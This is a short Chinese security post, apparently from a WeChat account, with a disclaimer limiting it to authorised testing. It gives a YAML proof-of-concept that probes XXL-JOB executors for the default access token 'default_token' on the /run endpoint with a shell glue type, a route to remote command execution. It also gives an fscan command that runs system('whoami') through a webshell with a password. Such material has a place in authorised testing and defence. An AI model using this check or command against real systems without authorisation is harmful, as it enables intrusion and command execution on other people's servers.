申明：本公众号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，

所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.

name: poc-yaml-xxl_job_accessToken
rules:  - method: POST    path: "/run"    headers:      Content-Type: application/json      XXL-JOB-ACCESS-TOKEN: default_token    body: |-      {"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}    expression: |      response.status == 200 && response.body.bcontains(bytes('{"code":200}'))

./fscan -WHost "url" -Wcommand "system('whoami');" -WebShellPasswd "密码"